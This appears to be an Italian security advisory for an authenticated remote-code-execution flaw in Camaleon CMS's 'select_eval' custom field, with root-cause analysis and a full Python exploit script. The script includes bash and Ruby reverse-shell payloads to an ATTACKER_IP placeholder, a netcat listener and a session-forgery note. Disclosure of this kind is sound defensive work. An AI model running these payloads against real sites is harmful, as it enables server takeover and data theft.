Avviso di sicurezza: Camaleon CMS - RCE autenticata tramite campo personalizzato `select_eval`
# Security Advisory: Camaleon CMS - RCE autenticata tramite campo personalizzato `select_eval`
**ID CVE assegnato:** CVE-2026-66748
**Prodotto:** Camaleon CMS (https://github.com/owen2345/camaleon-cms)
**Versioni interessate:** 2.1.1 – 2.9.1 (introdotta dal commit 415cbda6 del 2015-10-16; corretta dal commit 15882366 del 2026-03-29 / v2.9.2)
**Gravità:** Alta
**Punteggio CVSS 4.0:** 8.7
**Vettore CVSS 4.0:** CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L
**CWE:** CWE-94 (Code Injection)
**Ricercatore:** Theodosis Paidakis
**Fornitore avvisato:** 2026-06-21
**Advisory correlata:** GHSL-2024-185 / GHSA-7x4w-cj9r-h4v9 (`label_eval` - tipo di campo parallelo, stessa causa radice, nessun CVE assegnato)
## Riepilogo
Il tipo di campo personalizzato `select_eval` memorizza un'espressione Ruby arbitraria in `field.options[:command]` e la esegue tramite `instance_eval` in una vista ERB ogni volta che viene renderizzata una pagina di modifica di un post. Nelle versioni precedenti alla 2.9.2, qualsiasi utente con il permesso di gestione `custom_fields` - comunemente concesso agli account con ruolo editor - poteva creare questo tipo di campo e ottenere RCE lato server. Un campo `select_eval` viene attivato a ogni renderizzazione della pagina di qualsiasi post che utilizza il gruppo di campi; il suo output diventa l'elenco delle opzioni del menu a tendina. La vulnerabilità è stata corretta nella v2.9.2.
## Componente interessato
**File:** `app/views/camaleon_cms/admin/settings/custom_fields/fields/_select_eval.html.erb`
```erb
<%= select_tag "#{field_name}[#{field.slug}][values][]",
instance_eval(field.options[:command].to_s.strip),
class: "..." %>
```
`instance_eval` viene chiamato con la stringa grezza dal record del database. Nessuna sandbox e nessuna restrizione in fase di compilazione su quali metodi o costanti siano accessibili dal binding ERB (che è un contesto completo di vista Rails).
**File:** `app/models/camaleon_cms/ability.rb` (v2.9.1, righe 161-165)
`custom_fields` non viene mai concesso esplicitamente. Otto risorse ricevono `can :manage` individualmente più in alto nel file (`media`, `comments`, `themes`, `widgets`, `nav_menu`, `plugins`, `users`, `settings`), e `custom_fields` non è tra queste. È raggiungibile solo tramite questa clausola catch-all, che assegna `manage` a qualsiasi chiave presente nell'hash `@roles_manager` del ruolo senza verificare se quella chiave sia sicura da concedere:
```ruby
@roles_manager.try(:each) do |rol_manage_key, val_role|
can :manage, rol_manage_key.to_sym if val_role.to_s.cama_true?
rescue StandardError
false
end
```
Qualsiasi utente il cui ruolo ha il bit `custom_fields` impostato raggiunge quindi il controller dei campi personalizzati. Nell'intervallo interessato, questo bit viene regolarmente concesso ai ruoli di livello editor.
La riscrittura nella v2.9.2 sostituisce `can` con un wrapper `safe_can` e aggiunge un elenco esplicito `%i[...]` contenente sia `custom_fields` che `select_eval`, ma il ciclo catch-all sopra indicato esiste ancora in quella versione. L'elenco dei permessi non è ciò che corregge il problema; lo sono la allowlist dei strong parameters in `custom_fields_controller.rb` e il gate `can?(:manage, :select_eval)` in `custom_field_group.rb`.
## Analisi della causa radice
Il tipo di campo `select_eval` è stato progettato per consentire agli sviluppatori di popolare dinamicamente i menu a tendina da codice Ruby memorizzato nel database CMS. Eseguire Ruby arbitrario da una colonna del database tramite `instance_eval` equivale a concedere accesso alla shell a chiunque possa scrivere quel valore. Il requisito di permesso era `custom_fields` - un permesso di routine per la gestione dei contenuti - piuttosto che un bit privilegiato esplicito.
## Relazione con advisory precedenti
Questa scoperta è stata pubblicata come GHSL-2024-185 / GHSA-7x4w-cj9r-h4v9 che copre un tipo di campo `label_eval` parallelo in Camaleon CMS. Quell'advisory faceva parte di un lotto di cinque scoperte (GHSL-2024-182 fino a GHSL-2024-186); solo due su cinque hanno ricevuto numeri CVE (CVE-2024-46986 e CVE-2024-46987). GHSL-2024-185 stesso non ha un CVE assegnato.
`select_eval` e `label_eval` condividono la stessa causa radice - Ruby arbitrario memorizzato nel database ed eseguito tramite `instance_eval` in una vista ERB - ma sono distinti in ogni altra dimensione:
| | `label_eval` (GHSL-2024-185) | `select_eval` (questo report) |
| -------------- | ---------------------------- | ------------------------------------- |
| Sito di esecuzione | Etichetta del campo in qualsiasi modulo | `select_tag` nella pagina di modifica del post |
| Percorso di scrittura | Testo dell'etichetta del campo personalizzato | Riga meta `field.options[:command]` |
Questo report copre esclusivamente `select_eval`. Nessun CVE esistente o advisory pubblica documenta questo specifico tipo di campo e il suo percorso di sfruttamento.
## Passaggi per la riproduzione
L'intervallo interessato dalla v2.1.1 alla v2.9.1 è stato determinato tramite analisi del codice sorgente; lo sfruttamento è stato confermato end-to-end sulla v2.9.1. Richiede solo un account con il permesso `custom_fields` - nessun accesso al server.
**Prerequisiti:** Qualsiasi account con il bit di gestione `custom_fields` impostato - un permesso standard per i ruoli editor nell'intervallo interessato.
**Passaggio 1.** Avviare un listener:
```bash
nc -lnvp 4444
```
**Passaggio 2.** Eseguire lo script. Modificare `BASE`, `ATTACKER_IP`, `TYPE_ID`, `POST_ID` e le credenziali.
`TYPE_ID` - ID del tipo di post visibile nell'URL della barra laterale admin (es. `/admin/post_type/2/posts`).
`POST_ID` - qualsiasi ID di post sotto quel tipo, dai link di modifica nell'elenco dei post.
```python
import requests, re, time
BASE = "http://target.example"
ATTACKER_IP = "ATTACKER_IP"
PORT = 4444
TYPE_ID = 2 # id del tipo di post - dalla URL della barra laterale admin
POST_ID = 1 # qualsiasi post sotto quel tipo - dai link di modifica nell'elenco dei post
USERNAME = "editor" # qualsiasi account con permesso di gestione custom_fields
PASSWORD = "Editor1234!"
# Reverse shell. Thread.new impedisce alla renderizzazione della pagina di bloccarsi.
# Le stringhe del payload devono usare doppi apici affinché l'interpolazione #{ } venga eseguita dentro instance_eval.
PAYLOAD = f'[["ok","ok"]].tap{{Thread.new{{system("bash -i >& /dev/tcp/{ATTACKER_IP}/{PORT} 0>&1")}}}}'
# Alternativa senza bash (socket Ruby puri, cross-platform):
# PAYLOAD = f'[["ok","ok"]].tap{{Thread.new{{require "socket";s=TCPSocket.open("{ATTACKER_IP}",{PORT});loop{{cmd=s.gets.chomp;s.puts(`#{{cmd}}`)}}}}}}'
# Proof-of-concept (non distruttivo - id/hostname appaiono nel menu a tendina della pagina di modifica):
# PAYLOAD = '[["id: #{`id`.strip}", "v"], ["host: #{`hostname`.strip}", "h"]]'
s = requests.Session()
r = s.get(f"{BASE}/admin/login")
csrf = re.search(r'authenticity_token" value="([^"]+)"', r.text).group(1)
s.post(f"{BASE}/admin/login", data={
"authenticity_token": csrf,
"user[username]": USERNAME,
"user[password]": PASSWORD,
})
r = s.get(f"{BASE}/admin/dashboard")
csrf = re.search(r'csrf-token" content="([^"]+)"', r.text).group(1)
idx = f"x{int(time.time())}"
r = s.post(f"{BASE}/admin/settings/custom_fields", data={
"authenticity_token": csrf,
"custom_field_group[name]": f"exploit_{idx}",
"custom_field_group[assign_group]": f"PostType_Post,{TYPE_ID}", # deve essere PostType_Post, non PostType
f"fields[{idx}][name]": "Shell",
f"fields[{idx}][slug]": f"rce_{idx}",
f"field_options[{idx}][field_key]": "select_eval",
f"field_options[{idx}][command]": PAYLOAD, # permit! fa passare questo valore senza filtri pre-v2.9.2
}, allow_redirects=True)
gid = re.search(r'/custom_fields/(\d+)', r.url)
print(f"Field group: id={gid.group(1) if gid else '?'} (HTTP {r.status_code})")
# Trigger: instance_eval si attiva quando il modulo di modifica renderizza il campo select_eval
r = s.get(f"{BASE}/admin/post_type/{TYPE_ID}/posts/{POST_ID}/edit")
print(f"Edit page: HTTP {r.status_code} - controlla il listener")
```
<img width="2226" height="592" alt="image" src="https://assets.kitploit.com/production/public/readmes/45404/aa9bbcb4c28536ceec9b33ecb971e6f0db1bda9b34b5f6404fc745d4af053f4a.png" />
## Impatto
Qualsiasi account con il permesso `custom_fields` (pre-v2.9.2) ottiene:
- **Esecuzione Ruby arbitraria** nel processo Rails, con i privilegi dell'utente del server web (`deploy`, `www-data`, `rails`, ecc.)
- **Esecuzione persistente**: il payload si attiva a ogni renderizzazione della pagina di ogni post che utilizza il gruppo di campi - non uno sfruttamento monouso
- **Falsificazione di sessione**: la lettura di `secret_key_base` da `config/secrets.yml` consente di falsificare cookie di sessione arbitrari per qualsiasi utente, inclusi gli admin
- **Impatto multi-sito**: su un'istanza Camaleon condivisa, il processo Rails ha accesso ai dati di tutti i siti
Pre-v2.9.2, il permesso `custom_fields` veniva regolarmente concesso agli utenti con ruolo editor. Un attaccante che compromette qualsiasi account di livello editor ottiene RCE completa lato server.
## Cronologia
**2026-06-19** - Scoperta durante l'analisi del codice sorgente di v2.9.2 e v2.9.1
**2026-06-21** - Fornitore avvisato
**2026-03-29** - Patch già rilasciata (v2.9.2, commit 15882366)